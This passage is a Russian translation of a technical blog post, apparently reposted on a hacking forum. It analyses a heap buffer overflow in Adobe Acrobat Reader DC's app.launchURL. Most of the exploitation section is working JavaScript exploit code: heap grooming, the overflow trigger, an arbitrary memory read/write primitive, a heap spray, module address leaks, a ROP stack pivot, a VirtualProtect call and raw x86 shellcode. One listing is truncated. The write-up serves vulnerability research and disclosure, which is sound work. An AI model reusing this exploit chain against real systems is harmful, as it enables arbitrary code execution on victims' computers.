Приведенный выше код возвращает длину строки в кодировке UTF-16BE, переданной в качестве параметра. Кроме того, он неявно выполняет следующие проверки, чтобы убедиться, что строка имеет допустимую кодировку UTF-16BE:
- Строка должна заканчиваться двойным нулевым байтом.
- Слова, составляющие строку, которые не являются терминатором, не должны содержать нулевой байт.
Если какая-либо из вышеперечисленных проверок завершилась неудачно, функция возвращает -1.
Продолжая работу с первой функцией, упомянутой в этом разделе, в [4] уже описанные проверки применяются к первому параметру (то есть относительному URL-адресу). В [5] длина исходной переменной (т.е. Базового URL) вычисляется с учетом ее кодировки. Функция sub_25802A44() - это реализация функции strlen(), которая работает как для строк в кодировке Unicode, так и для строк в кодировке ANSI. В [6] распределение размера переменной Source выполняется путем вызова функции sub_25802CD5(), которая является реализацией известной функции calloc().Затем в [7] содержимое переменной Source копируется в это новое выделение с помощью функции sub_25802D98(), которая является реализацией функции strncpy, которая работает как для строк в кодировке Unicode, так и для строк в кодировке ANSI. Эти операции, выполняемые с переменной Source, одинаково выполняются с переменной lpString (т.е. относительным URL-адресом) в [8], [9] и [10].
Функция в [11], sub_25802400(), получает URL-адрес или его часть и выполняет некоторую проверку и обработку. Эта функция вызывается как для базовых, так и для относительных URL-адресов.
В [12] выполняется выделение размера, необходимого для размещения конкатенации относительного URL-адреса и базового URL-адреса. Предоставленные длины вычисляются в функции, вызываемой в [11]. Для простоты это проиллюстрировано примером: следующие выходные данные отладчика показывают значение параметров для sub_25802CD5, которые соответствуют количеству выделяемых элементов и размеру каждого элемента. В этом случае размер складывается из длины базового и относительного URL.
Код:
eax=00002600 ebx=00000000 ecx=00002400 edx=00000000 esi=010fd228 edi=00000001
eip=61912cd5 esp=010fd0e4 ebp=010fd1dc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
IA32!PlugInMain+0x1815:
61912cd5 55 push ebp
0:000> dd esp+4 L1
010fd0e8 00000001
0:000> dd esp+8 L1
010fd0ec 00002600
После этого в [13] базовый URL копируется в память, выделенную для размещения конкатенации, а в [14] его длина вычисляется и предоставляется в качестве параметра для вызова sub_25818C6A. Эта функция реализует конкатенацию строк как для Unicode, так и для строк ANSI. Вызов этой функции в [14] предоставляет базовый URL-адрес в качестве первого параметра, относительный URL-адрес в качестве второго параметра и ожидаемый полный размер конкатенации в качестве третьего. Эта функция указана ниже.
C:
int __cdecl sub_sub_25818C6A(char *Destination, char *Source, int a3)
{
int result; // eax
int pExceptionObject; // [esp+10h] [ebp-4h] BYREF
if ( !Destination || !Source || !a3 )
{
(*(void (__thiscall **)(_DWORD, int))(dword_258240A4 + 4))(*(_DWORD *)(dword_258240A4 + 4), 1073741827);
pExceptionObject = 0;
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
}
[15]
pExceptionObject = sub_25802A44(Destination);
if ( pExceptionObject + sub_25802A44(Source) <= (unsigned int)(a3 - 1) )
{
[16]
sub_258189D6(Destination, Source);
result = 1;
}
else
{
[17]
strncat(Destination, Source, a3 - pExceptionObject - 1);
result = 0;
Destination[a3 - 1] = 0;
}
return result;
}
В приведенном выше листинге в [15] вычисляется длина целевой строки. Затем она проверяет, меньше ли длина целевой строки плюс длина исходной строки желаемой длины конкатенации минус один. Если проверка проходит, функция sub_258189D6 вызывается в [16]. В противном случае вызывается функция strncat в [17].
Функция sub_258189D6, вызываемая по адресу [16], реализует фактическую конкатенацию строк, которая работает как для строк Unicode, так и для строк ANSI.
C:
LPSTR __cdecl sub_258189D6(LPSTR lpString1, LPCSTR lpString2)
{
int v3; // eax
LPCSTR v4; // edx
CHAR *v5; // ecx
CHAR v6; // al
CHAR v7; // bl
int pExceptionObject; // [esp+10h] [ebp-4h] BYREF
if ( !lpString1 || !lpString2 )
{
(*(void (__thiscall **)(_DWORD, int))(dword_258240A4 + 4))(*(_DWORD *)(dword_258240A4 + 4), 1073741827);
pExceptionObject = 0;
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
}
[18]
if ( *lpString1 == (CHAR)0xFE && lpString1[1] == (CHAR)0xFF )
{
[19]
v3 = sub_25802A44(lpString1);
v4 = lpString2 + 2;
v5 = &lpString1[v3];
do
{
do
{
v6 = *v4;
v4 += 2;
*v5 = v6;
v5 += 2;
v7 = *(v4 - 1);
*(v5 - 1) = v7;
}
while ( v6 );
}
while ( v7 );
}
else
{
[20]
lstrcatA(lpString1, lpString2);
}
return lpString1;
}
В функции, перечисленной выше, в [18] первый параметр (место назначения) проверяется на наличие маркера спецификации Unicode 0xFEFF. Если строка назначения - Unicode, код переходит к [19]. Здесь исходная строка добавляется в конец целевой строки по два байта за раз. Если строка назначения - ANSI, тогда известная функция lstrcatA вызывается по адресу [20].
Становится ясно, что в случае, если строка назначения - Unicode, а исходная строка - ANSI, для каждого символа строки ANSI фактически копируются два байта. Это вызывает чтение за пределами допустимого размера строки ANSI, которое становится переполнением буфера кучи того же размера после копирования байтов.
Эксплуатация
Теперь мы рассмотрим, как можно использовать эту уязвимость для выполнения произвольного кода.
Для разработки эксплойта использовался Adobe Acrobat Reader DC версии 2021.005.20048 под управлением Windows 10 x64. Обратите внимание, что Adobe Acrobat Reader DC - это 32-разрядное приложение. Успешная стратегия использования эксплойтов должна обходить следующие меры безопасности для цели:
- Рандомизация адресного пространства (ASLR)
- Предотвращение выполнения данных (DEP)
- Защита потока управления (CFG)
Эксплойт не обходит следующие механизмы защиты:
- Control Flow Guard (CFG): CFG должен быть отключен на машине Windows, чтобы этот эксплойт работал. Это можно сделать в настройках защиты от эксплойтов в Windows 10, установив для параметра Control Flow Guard (CFG) значение Off по умолчанию.
Чтобы использовать эту уязвимость в обход ASLR и DEP, принята следующая стратегия:
1. Подготовьте макет кучи, чтобы можно было контролировать области памяти, смежные с выделениями, сделанными для базового URL-адреса и относительного URL-адреса. Это включает в себя выполнение достаточного количества выделений, чтобы активировать корзину с низкой фрагментацией кучи для двух размеров, и достаточное количество выделений, чтобы полностью уместиться в UserBlock. Выделения с тем же размером, что и базовое выделение URL-адреса, должны содержать объект ArrayBuffer, тогда как выделения с тем же размером, что и относительный URL-адрес, должны иметь данные, необходимые для перезаписи поля byteLength одного из этих объектов ArrayBuffer со значением 0xffff.
2. Создайте дыры в UserBlock, аннулировав ссылку на некоторые из недавно выделенных блоков памяти.
3. Запустите сборщик мусора, чтобы освободить блоки памяти, на которые ссылаются обнуленные объекты. Это дает место для базового URL-адреса и относительного размещения URL-адресов.
4. Запустите уязвимость переполнения буфера кучи, чтобы данные в блоке памяти, смежном с относительным URL-адресом, были скопированы в блок памяти, смежный с базовым URL-адресом.
5.Если все сработало, на шаге 4 должно было быть перезаписано значение byteLength одного из контролируемых объектов ArrayBuffer. Когда объект DataView создается в поврежденном буфере ArrayBuffer, можно читать и записывать память за пределами базового выделения. Это обеспечивает точный способ перезаписи byteLength следующего ArrayBuffer значением 0xffffffff. Создание объекта DataView на этом последнем ArrayBuffer позволяет произвольно читать и записывать память, но относительно того, где находится ArrayBuffer.
6. Используя построенный примитив R/W, обойдите структуру NT Heap, чтобы определить BusyBitmap. Указатель буфера. Это позволяет узнать абсолютный адрес поврежденного ArrayBuffer и построить произвольный примитив чтения и записи, который позволяет читать и записывать по абсолютным адресам.
7. Чтобы обойти DEP, необходимо повернуть стек в контролируемую область памяти. Это делается с помощью гаджета ROP, который записывает фиксированное значение в регистр ESP.
8. Обработайте кучу объектами ArrayBuffer правильного размера, чтобы они находились рядом друг с другом. Это должно разместить контролируемое выделение по адресу, указанному гаджетом ROP с поворотом стека.
9. Используйте произвольное чтение и запись для записи шелл-кода в контролируемую область памяти и для записи цепочки ROP для выполнения VirtualProtect, чтобы разрешить выполнение в области памяти, где был записан шелл-код.
10. Перезаписать указатель функции объекта DataView, используемого в примитиве чтения и записи, и запустить его вызов, чтобы захватить поток выполнения.
В следующих подразделах разбивается код эксплойта с пояснениями для лучшего понимания.
Подготовка макета кучи
Размер строк, связанных с этой уязвимостью, можно контролировать. Это удобно, поскольку позволяет выбрать правильный размер для каждого из них, чтобы они обрабатывались кучей с низкой фрагментацией (https://web.archive.org/web/20210419095256/http://www.illmatics.com/Understanding_the_LFH.pdf). Внутренняя работа кучи с низкой фрагментацией (LFH) может быть использована для повышения детерминизма структуры памяти, необходимой для использования этой уязвимости. Выбор размера, который не используется в программе, позволяет полностью контролировать активацию соответствующего ему сегмента LFH и выполнять точное количество выделений, необходимых для размещения одного блока UserBlock.
Фрагменты памяти в UserBlock возвращаются пользователю случайным образом при выполнении выделения. Идеальная компоновка, необходимая для использования этой уязвимости, - это наличие свободных фрагментов, смежных с контролируемыми фрагментами, поэтому, когда выделяются строки, необходимые для запуска уязвимости, они попадают в один из этих свободных фрагментов.
Для создания такого макета выделяются 0xd + 0x11 ArrayBuffers размером 0x2608-0x10-0x8. Первые выделения 0x11 используются для включения корзины LFH, а следующие выделения 0xd используются для заполнения UserBlock (обратите внимание, что количество фрагментов в первом UserBlock для этого размера корзины не всегда равно 0xd, поэтому этот метод не является 100%. эффективный). Размер ArrayBuffer выбран таким образом, чтобы базовое выделение было размером 0x2608 (включая метаданные блока), что соответствует корзине LFH, не используемой приложением.
Затем выполняется та же процедура, но вместо выделения ArrayBuffers выделяются строки, размер базового выделения которых равен 0x2408. Количество распределений, подходящих для UserBlock для этого размера, может быть 0xe.
Строки должны содержать байты, необходимые для перезаписи свойства byteLength объекта ArrayBuffer, которое повреждено при срабатывании уязвимости. Значение, которое перезапишет свойство byteLength, равно 0xffff. Это не позволяет использовать ArrayBuffer для чтения и записи всего диапазона адресов памяти в процессе. Кроме того, невозможно напрямую перезаписать byteLength значением 0xffffffff, поскольку это потребовало бы перезаписи указателя его объекта DataView ненулевым значением, что могло бы повредить его и нарушить его функциональность. Вместо этого запись только 0xffff позволяет избежать перезаписи указателя объекта DataView, сохраняя его функциональность неизменной, поскольку два крайних левых нулевых байта будут считаться указателем конца строки Unicode во время операции конкатенации.
JavaScript:
function massageHeap() {
[1]
var arrayBuffers = new Array(0xd+0x11);
for (var i = 0; i < arrayBuffers.length; i++) {
arrayBuffers[i] = new ArrayBuffer(0x2608-0x10-0x8);
var dv = new DataView(arrayBuffers[i]);
}
[2]
var holeDistance = (arrayBuffers.length-0x11) / 2 - 1;
for (var i = 0x11; i <= arrayBuffers.length; i += holeDistance) {
arrayBuffers[i] = null;
}
[3]
var strings = new Array(0xe+0x11);
var str = unescape('%u9090%u4140%u4041%uFFFF%u0000') + unescape('%0000%u0000') + unescape('%u9090%u9090').repeat(0x2408);
for (var i = 0; i < strings.length; i++) {
strings[i] = str.substring(0, (0x2408-0x8)/2 - 2).toUpperCase();
}
[4]
var holeDistance = (strings.length-0x11) / 2 - 1;
for (var i = 0x11; i <= strings.length; i += holeDistance) {
strings[i] = null;
}
return arrayBuffers;
}
В листинге выше распределения ArrayBuffer создаются в [1]. Затем в [2] два указателя на созданные выделения обнуляются, чтобы попытаться создать свободные фрагменты, окруженные контролируемыми фрагментами.
В [3] и [4] те же шаги выполняются с выделенными строками.
Активация уязвимости
Запустить уязвимость так же просто, как вызвать функцию JavaScript app.launchURL. Внутренне относительный URL-адрес, предоставленный в качестве параметра, объединяется с базовым URL-адресом, определенным в каталоге PDF-документов, таким образом выполняя уязвимую функцию, описанную в разделе "Анализ кода" этой публикации.
JavaScript:
function triggerHeapOverflow() {
try {
app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
} catch(err) {}
}
Размер выделения, содержащего относительную строку URL-адреса, должен быть таким же, как тот, который использовался при подготовке макета кучи, чтобы он занимал одно из освобожденных мест и, в идеале, имел контролируемое выделение рядом с ним.
Получение произвольного примитива чтения/записи
Когда правильный макет кучи будет успешно достигнут и уязвимость сработает, свойство ArrayBuffer byteLength будет повреждено со значением 0xffff. Это позволяет записывать данные за пределами выделения базовой памяти и перезаписывать свойство byteLength следующего ArrayBuffer. Наконец, создание объекта DataView в этом последнем поврежденном буфере позволяет относительным образом читать и записывать весь диапазон адресов памяти процесса.
Чтобы иметь возможность читать и писать по абсолютным адресам, необходимо получить адрес памяти поврежденного ArrayBuffer. Один из способов сделать это - использовать структуры метаданных NT Heap для утечки указателя на ту же структуру. Важно, чтобы заголовок блока содержал номер блока и чтобы все блоки в UserBlock были последовательными и смежными. Кроме того, размер фрагментов известен, поэтому можно вычислить расстояние от источника относительного примитива чтения и записи до указателя на утечку. Аналогичным образом, поскольку расстояние известно, после утечки указателя расстояние можно вычесть из него, чтобы получить адрес источника примитива чтения и записи.
Следующая функция реализует процесс, описанный в этом подразделе.
JavaScript:
function getArbitraryRW(arrayBuffers) {
[1]
for (var i = 0; i < arrayBuffers.length; i++) {
if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == 0xffff) {
var dv = new DataView(arrayBuffers[i]);
dv.setUint32(0x25f0+0xc, 0xffffffff, true);
}
}
[2]
for (var i = 0; i < arrayBuffers.length; i++) {
if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == -1) {
var rw = new DataView(arrayBuffers[i]);
corruptedBuffer = arrayBuffers[i];
}
}
[3]
if (rw) {
var chunkNumber = rw.getUint8(0xffffffff+0x1-0x13, true);
var chunkSize = 0x25f0+0x10+8;
var distanceToBitmapBuffer = (chunkSize * chunkNumber) + 0x18 + 8;
var bitmapBufferPtr = rw.getUint32(0xffffffff+0x1-distanceToBitmapBuffer, true);
startAddr = bitmapBufferPtr + distanceToBitmapBuffer-4;
return rw;
}
return rw;
}
Функция выше в [1] пытается найти исходный поврежденный ArrayBuffer и использовать его для повреждения соседнего ArrayBuffer. В [2] он пытается найти недавно поврежденный ArrayBuffer и построить относительный произвольный примитив чтения и записи, создав на нем объект DataView. Наконец, в [3] реализован вышеупомянутый метод получения абсолютного адреса источника относительного примитива чтения и записи.
Как только адрес источника примитива чтения и записи известен, можно использовать следующие вспомогательные функции для чтения и записи по любому адресу процесса, который имеет отображенную память.
JavaScript:
function readUint32(dataView, absoluteAddress) {
var addrOffset = absoluteAddress - startAddr;
if (addrOffset < 0) {
addrOffset = addrOffset + 0xffffffff + 1;
}
return dataView.getUint32(addrOffset, true);
}
function writeUint32(dataView, absoluteAddress, data) {
var addrOffset = absoluteAddress - startAddr;
if (addrOffset < 0) {
addrOffset = addrOffset + 0xffffffff + 1;
}
dataView.setUint32(addrOffset, data, true);
}
Распыление объектов ArrayBuffer
Метод распыления кучи ( http://web.archive.org/web/20201122...g-tutorial-part-11-heap-spraying-demystified/)
выполняет большое количество контролируемых выделений с намерением иметь смежные области управляемой памяти. Ключом к получению смежных областей памяти является выделение определенного размера.
В JavaScript удобный способ выделения памяти в куче, содержимое которой полностью контролируется, - это использование объектов ArrayBuffer (http://web.archive.org/web/20201122...vaScript/Reference/Global_Objects/ArrayBuffer). Память, выделенная для этих объектов, может быть прочитана и записана с использованием объектов DataView (http://web.archive.org/web/20201122.../JavaScript/Reference/Global_Objects/DataView).
Чтобы получить распределение кучи правильного размера, необходимо учитывать метаданные объектов ArrayBuffer и фрагментов кучи. Внутреннее представление объектов ArrayBuffer (http://web.archive.org/web/20201122161834/https://vigneshsrao.github.io/play-with-spidermonkey/) сообщает, что размер метаданных составляет 0x10 байт. Размер метаданных занятого фрагмента кучи составляет 8 байтов.
Поскольку цель состоит в том, чтобы смежные области памяти были заполнены контролируемыми данными, выполняемые распределения должны иметь тот же размер, что и размер сегмента кучи, который составляет 0x10000 байт. Следовательно, объекты ArrayBuffer, созданные во время распыления кучи, должны иметь размер 0xffe8 байтов.
JavaScript:
function sprayHeap() {
var heapSegmentSize = 0x10000;
[1]
heapSpray = new Array(0x8000);
for (var i = 0; i < 0x8000; i++) {
heapSpray[i] = new ArrayBuffer(heapSegmentSize-0x10-0x8);
var tmpDv = new DataView(heapSpray[i]);
tmpDv.setUint32(0, 0xdeadbabe, true);
}
}
Перечисленная выше функция эксплойта выполняет распыление ArrayBuffer. Общий размер распыления, определенный в [1], был определен путем установки числа, достаточно большого, чтобы ArrayBuffer был выделен по выбранному предсказуемому адресу, определяемому используемым гаджетом ROP поворота стека.
Целью этих распределений является наличие управляемой области памяти по адресу, по которому стек перемещается после выполнения разворота стека. Эту область можно использовать для подготовки вызова VirtualProtect (http://web.archive.org/web/20210416...n32/api/memoryapi/nf-memoryapi-virtualprotect) для включения разрешений на выполнение на странице памяти, где был написан шелл-код.
Подмена потока выполнения и выполнение произвольного кода
Имея возможность произвольно читать и писать в память, следующие шаги - подготовка шелл-кода, его запись и выполнение. Снижения безопасности, присутствующие в приложении, определяют необходимую стратегию и методы. ASLR и DEP форсируют использование возвратно-ориентированного программирования (ROP) в сочетании с утечкой указателей на соответствующие модули.
С учетом этого стратегия может быть следующей:
1. Получите указатели на соответствующие модули для вычисления их базовых адресов.
2. Переместите стек в область памяти под нашим контролем, куда можно записать адреса устройств ROP.
3. Запишите шелл-код.
4. Вызовите VirtualProtect, чтобы изменить права доступа к области памяти шеллкода, чтобы разрешить выполнение.
5. Перезаписать указатель функции, который можно будет вызвать позже из JavaScript.
Следующие функции используются при реализации указанной стратегии.
JavaScript:
[1]
function getAddressLeaks(rw) {
var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);
var escriptAddrDelta = 0x275518;
var escriptAddr = readUint32(rw, dataViewObjPtr+0xc) - escriptAddrDelta;
var kernel32BaseDelta = 0x273eb8;
var kernel32Addr = readUint32(rw, escriptAddr + kernel32BaseDelta);
return [escriptAddr, kernel32Addr];
}
[2]
function prepareNewStack(kernel32Addr) {
var virtualProtectStubDelta = 0x20420;
writeUint32(rw, newStackAddr, kernel32Addr + virtualProtectStubDelta);
var shellcode = [0x0082e8fc, 0x89600000, 0x64c031e5, 0x8b30508b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0x3cacff31,
0x2c027c61, 0x0dcfc120, 0xf2e2c701, 0x528b5752, 0x3c4a8b10, 0x78114c8b, 0xd10148e3, 0x20598b51,
0x498bd301, 0x493ae318, 0x018b348b, 0xacff31d6, 0x010dcfc1, 0x75e038c7, 0xf87d03f6, 0x75247d3b,
0x588b58e4, 0x66d30124, 0x8b4b0c8b, 0xd3011c58, 0x018b048b, 0x244489d0, 0x615b5b24, 0xff515a59,
0x5a5f5fe0, 0x8deb128b, 0x8d016a5d, 0x0000b285, 0x31685000, 0xff876f8b, 0xb5f0bbd5, 0xa66856a2,
0xff9dbd95, 0x7c063cd5, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0xd5ff5300, 0x636c6163, 0x6578652e,
0x00000000]
[3]
var shellcode_size = shellcode.length * 4;
writeUint32(rw, newStackAddr + 4 , startAddr);
writeUint32(rw, newStackAddr + 8, startAddr);
writeUint32(rw, newStackAddr + 0xc, shellcode_size);
writeUint32(rw, newStackAddr + 0x10, 0x40);
writeUint32(rw, newStackAddr + 0x14, startAddr + shellcode_size);
[4]
for (var i = 0; i < shellcode.length; i++) {
writeUint32(rw, startAddr+i*4, shellcode[i]);
}
}
function hijackEIP(rw, escriptAddr) {
var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);
var dvShape = readUint32(rw, dataViewObjPtr);
var dvShapeBase = readUint32(rw, dvShape);
var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
var stackPivotGadgetAddr = 0x2de29 + escriptAddr;
writeUint32(rw, dvShapeBaseClasp+0x10, stackPivotGadgetAddr);
var foo = rw.execFlowHijack;
В листинге кода выше функция [1] получает базовые адреса модулей EScript.api и kernel32.dll, которые необходимы для использования уязвимости с текущей стратегией. Функция [2] используется для подготовки содержимого перемещенного стека, так что после выполнения разворота стека все готово. В частности, в [3] записаны адрес шеллкода и параметры VirtualProtect. Адрес шелл-кода соответствует адресу возврата, который восстановит команда ret VirtualProtect, перенаправляя, таким образом, поток выполнения на шелл-код. Шелл-код записан в [4].
Наконец, в [5] указатель функции getProperty контролируемого объекта DataView перезаписывается адресом гаджета ROP, используемого для поворота стека, и осуществляется доступ к свойству объекта, которое запускает выполнение getProperty.
Используемый гаджет поворота стека взят из модуля EScript.api и указан ниже:
0x2382de29: mov esp, 0x5d0013c2; ret;
Когда выполняются перечисленные выше инструкции, стек будет перемещен в 0x5d0013c2, где будет ранее подготовленное распределение.
Заключение
Мы надеемся, что вам понравилось читать этот анализ переполнения буфера кучи и вы узнали что-то новое. Если вы жаждете большего, просмотрите другие сообщения в нашем блоге https://blog.exodusintel.com
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://blog.exodusintel.com/2021/1...w-vulnerability-in-adobe-acrobat-reader-dc-2/